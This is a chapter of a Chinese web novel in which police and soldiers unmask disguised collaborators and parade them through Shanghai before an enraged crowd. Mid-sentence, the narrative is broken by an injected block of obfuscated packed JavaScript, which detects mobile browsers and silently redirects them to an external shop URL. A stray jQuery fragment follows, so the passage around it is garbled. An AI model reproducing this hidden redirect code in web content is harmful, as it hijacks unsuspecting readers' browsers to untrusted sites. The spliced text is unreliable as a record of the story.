徐军的提议,像一道闪电劈开了黎明前的黑暗。短暂的死寂后,一种混合着愤怒、决绝、甚至是一丝疯狂的情绪在队伍中蔓延开来。
“干了!”
马立国第一个响应。他心想:“虽然爹让我只管保护好弟弟,少管其他事。但是,我就不信爹要是看见寻欢洞里的场景,不会暴怒?反正等爹知道的时候,事情已经做了,祸也闯了。大不了回去被爹抽一顿鞭子!”
一听自己的长官开口了,他手下的那些早已怒火中烧的士兵们也都跟着开口了。这下,所有人都看向了低头沉思的林默。没办法,谁让林默是他们的临时长官呢。这件事情必须把林默拉下水。不过徐军也在心里想好了,要是林默不答应,直接把人一绑,嘴一堵,看谁能反对。
林默看着眼前的惨状,深吸一口气,重重点头。
“好!就这么办!天,也该亮给老百姓看看了!”
命令迅速执行。士兵和警员们用最粗的麻绳,将那些被捕的权贵一个个捆住手腕,串成长长的一串。几辆卡车的车篷被彻底拆掉,遇难者的遗骸被妥善放置在一辆车上,获救的幸存者被小心地扶上另一辆车,他们裹着毛毯,眼神依旧惶恐。四人商量了一番,从寻欢洞里找了些布料把幸存者的脸给遮住后,徐军跳上一辆吉普车,拿起一个铁皮喇叭。就要准备他的表演了。可就在这时,站在林默身旁的马维明开口了。
“等等!有问题!”
林默三人立马看向了马维明,用眼神询问发现了什么。只见马维明走到了被绑着地,瑟瑟发抖俘虏中,揪出了三个中年男人。马维明让士兵押着他们走到了林默他们面前。只见这三个男人自始至终都很镇定不说,脸上还有一种藏不住的倨傲。林默三人一看就发现了不对,所以也就没阻拦马维明接下来的动作。
“说,你们叫什么?多大了?是做什么的?”
马维明刚一问完,三人之中最后面的那个中年男人立马回道。
“老总,我叫张辉,这是我大哥张强,二哥张鹏。我们是从东北那旮瘩来做布庄生意的。您也知道东北那旮瘩现在是个什么状况。我们三兄弟家里人都死没了。我们做的都是正经生意啊。这是朋友带我们来的,我们可是第一次来这个地方啊。”
“呵,我看你可不像是做布庄生意的啊?哪个开布庄的人手上的茧子在这个位置?”
马维明不顾男人的抗拒,一把把男人的手拉到林默三人面前,他们一看便知,这些茧子的位置分明就是常用枪的人才能磨出来的。林默给马维明一个赞赏的眼神,并示意他继续。
“你给我解释解释!”
“老总,你看这是误会。我之前在东北当过兵,后来日子太难了,才……才当了逃兵。逃到上海投靠了亲戚,做的布庄生意。”
“那你说说这是什么布料?”
中年男子看着马维明随手指的卡车车棚的篷布,在马维明的催促下,好半晌才吐出了两个字。
“粗…粗棉布!”
“错,是涂胶帆布。你开布庄的,怎么连布都能认错?”
一听马维明这么说,中年男子脸上的笑容立马僵住。
“老总,我们是做绸缎生意的,接触的都是高档布料,所以这些确实不认识。”
林默:“绸缎生意,你们的店铺叫什么名字?”
“钟氏绸缎庄,老总!”
林默:“钟氏的老板不是钟意吗?怎么又是你们的了?给我老实交代!”
“老总,老板是钟意。我们是他手下的裁缝。”
林默:“裁缝?那你给我说说我这身上的警服是什么布料?”
林默:“怎么不说了?啊!不是裁缝吗?好,你不说,我有的是办法!一会回了城里,我直接带着你去店里问问,看看你到底是什么身份!”
马维明:“还有,你说你们是第一次来这?朋友带你们来的?来,把你的朋友给我指出来!”
说着,马维明直接拽着男人的衣领把他拖到了众位俘虏面前,让他指认。
“是不是他?他?还是他?”
随着马维明的手指扫过,在场的俘虏头压得更低了,空气仿佛凝固在无声的紧张里。当他的指尖骤然定格在一个男人身上时,他清晰看见对方方才还带着几分嚣张、几乎要主动承认的模样,被他手里抓着的人投来的一记狠厉眼刀狠狠剜过,到了嘴边的话瞬间咽了回去,忙不迭低下头,像被抽走了所有气焰,乖乖地杵在原地。
马维明眼神一冷,当即伸手将那欲言又止的男人揪了出来。那人猝不及防,下意识想挣扎反抗,却被身旁的士兵眼疾手快地按住,冰冷的枪口直接抵住了他的太阳穴。感受到头顶传来的沉重压迫,他浑身一僵,再无半分反抗的力气,只能蔫蔫地蹲在地上,一动也不敢动。
马维明目光扫过被揪出来后垂首缄默的四人,眉头紧拧,心底的火气直窜。这四人,真是给脸不要脸!
马维明:“拿盆水来!”
一旁的士兵立刻从洞里端出一盆清水。马维明抽出腰间短刀,利落上前,从最前面那人的上衣上割下四块还算干净的布,递给身旁的林默三人。
马维明:“林哥,你看这四人脏的,一会儿他们可是得游街。咱们给他们‘好好’洗把脸!”
林默三人会意,攥着布浸了水,不由分说地在那四人脸上擦拭起来,动作带着几分力道,将他们脸上的泥污、尘垢一一拭去。
林默放下布,看着眼前四人洗去污垢后露出的面容,原本被尘灰掩盖的年轻脸庞在众人眼前浮现,他紧绷的神色稍缓,嘴角勾起一丝笑意。
林默走上前,目光在三人脸上依次扫过,语气带着几分打趣,又藏着一丝了然。
“陈大地,陈大宝,陈列。瞅瞅你们父子三人这年轻模样,真是越活越年轻啊!想来为了维持这年轻的身体,得牺牲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643011|188145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了不少人的性命吧?没关系,你们不是愿意隐藏身份吗?可以,我让你们从此以后都只能是个普通裁缝。希望你们的儿子,孙子陈静封还能认你们!”
看着面色瞬间凝重的四人,林默等人开心地笑了。
徐军:“来,找几个板子和绳子,给我在板子上都写清楚他们的名字,职业。写完后挂在他们的脖子上,我要让老百姓都好好看看这寻欢洞的孽到底都是谁造成的!”
“是!”
等所有的准备工作都做好后,队伍终于开始向着上海市区进发。此时,清晨的薄雾尚未散尽,街道上只有零星早起的市民。
“父老乡亲们!都来看!都来听!”
徐军的声音通过喇叭,撕裂了清晨的宁静,如同一声惊雷。人们好奇地驻足,跷脚去看。
“看看这些被拴着的畜生!他们是谁?是XX银行的经理!是XX商行的老板!是XX衙门的科长!”
徐军每喊出一个名字,就引起百姓们的一阵惊呼。
“百姓们,你们知道他们犯了什么事吗?”
徐军的声音陡然拔高,充满悲愤。
“他们勾结日本人,丧尽天良!在寻欢洞里寻欢作乐,欺男霸女!他们纵容甚至参与用活人,用你们的孩子做毒气实验啊!看看这些骨头!都是被他们害死的人!看看车上这些活着的人!都是从地狱里被救出来的!”
残酷的真相如同重磅炸弹,在人群中引爆。最初的震惊和寂静过后,就是滔天的怒火。
“畜生!王八蛋!:打死他们!:我的儿啊……是不是也被他们害了?!”
唾骂声、哭喊声、怒吼声汇成一片。烂菜叶、臭鸡蛋、石头子如同雨点般砸向那串垂头丧气的罪人。愤怒的人群几乎要冲垮警察的警戒线。
队伍缓慢而又坚定地向着市中心前进。沿途,越来越多的市民加入,队伍变得浩浩荡荡,怒吼声震天动地。这不再是一次押解,而是一场公开的审判,一场民意的海啸,一场对黑暗最彻底的曝光。
当队伍最终抵达警察总局门口时,太阳已经完全升起,阳光照亮了车上森白的骸骨、幸存者麻木的身上、罪人脸上的污秽,以及每一个市民脸上愤怒与悲伤交织的表情。
林默四人站在台阶上,望着眼前沸腾的人群和这场他们亲手导演的“审判”。没有胜利的喜悦,只有巨大的疲惫和一种如释重负的沉重。他们做到了,他们将这最深的黑暗拖到了阳光之下。
在人群看不到的远处,一栋高楼的窗帘微微动了一下后方,陈静峰负手而立,远远眺望着警察总局门口的喧嚣。他的双眼漆黑,脸上没有任何表情,既无愤怒,也无惊慌。只是那双深不见底的眼眸里,一丝极其幽暗、极其冰冷的光芒一闪而过。他缓缓抬起手,一缕若有若无的黑气在他指尖缠绕、湮灭。
“呵,老东西们,马上就到你们求我的时候了!我等这天,可是等得太久了!”